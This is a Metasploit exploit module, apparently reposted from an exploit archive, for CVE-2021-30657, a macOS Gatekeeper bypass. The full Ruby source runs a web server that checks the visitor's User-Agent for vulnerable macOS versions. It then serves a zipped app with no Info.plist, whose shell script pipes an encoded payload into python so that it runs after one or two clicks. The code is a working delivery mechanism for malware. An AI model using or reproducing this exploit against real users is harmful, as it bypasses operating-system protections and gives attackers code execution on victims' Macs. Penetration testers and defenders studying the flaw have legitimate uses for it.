Share
## https://sploitus.com/exploit?id=PACKETSTORM:162504
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'macOS Gatekeeper check bypass',  
'Description' => %q{  
This module serves an OSX app (as a zip) that contains no Info.plist, which  
bypasses gatekeeper in macOS < 11.3.  
If the user visits the site on Safari, the zip file is automatically extracted,  
and clicking on the downloaded file will automatically launch the payload.  
If the user visits the site in another browser, the user must click once to unzip  
the app, and click again in order to execute the payload.  
},  
'License' => MSF_LICENSE,  
'Targets' => [  
[ 'macOS x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],  
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],  
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2021-03-25',  
'Author' => [  
'Cedric Owens', # Discovery  
'timwr' # Module  
],  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
},  
'References' => [  
['CVE', '2021-30657'],  
['URL', 'https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508'],  
['URL', 'https://objective-see.com/blog/blog_0x64.html'],  
]  
)  
)  
register_options([  
OptString.new('APP_NAME', [false, 'The application name (Default: app)', 'app'])  
])  
end  
  
def check_useragent(user_agent)  
return false unless user_agent =~ /Intel Mac OS X (.*?)\)/  
  
osx_version = Regexp.last_match(1).gsub('_', '.')  
mac_osx_version = Rex::Version.new(osx_version)  
if mac_osx_version >= Rex::Version.new('11.3')  
print_warning "macOS version #{mac_osx_version} is not vulnerable"  
elsif mac_osx_version < Rex::Version.new('10.15.6')  
print_warning "macOS version #{mac_osx_version} is not vulnerable"  
else  
print_good "macOS version #{mac_osx_version} is vulnerable"  
return true  
end  
return false  
end  
  
def on_request_uri(cli, request)  
user_agent = request['User-Agent']  
print_status("Request #{request.uri} from #{user_agent}")  
unless check_useragent(user_agent)  
print_error 'Unexpected User-Agent'  
send_not_found(cli)  
return  
end  
  
app_name = datastore['APP_NAME'] || Rex::Text.rand_text_alpha(5)  
send_response(cli, app_zip(app_name), { 'Content-Type' => 'application/zip', 'Content-Disposition' => "attachment; filename=\"#{app_name}.zip\"" })  
end  
  
def app_zip(app_name)  
case target['Arch']  
when ARCH_X64  
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload.encoded, {})  
command = "echo \"#{payload_data}\" | python & disown"  
when ARCH_PYTHON  
command = "echo \"#{payload.encoded}\" | python"  
when ARCH_CMD  
command = payload.encoded  
end  
  
shell_script = <<~SCRIPT  
#!/bin/sh  
  
#{command}  
SCRIPT  
  
zip = Rex::Zip::Archive.new  
zip.add_file("#{app_name}.app/", '')  
zip.add_file("#{app_name}.app/Contents/", '')  
zip.add_file("#{app_name}.app/Contents/MacOS/", '')  
zip.add_file("#{app_name}.app/Contents/MacOS/#{app_name}", shell_script).last.attrs = 0o777  
zip.pack  
end  
end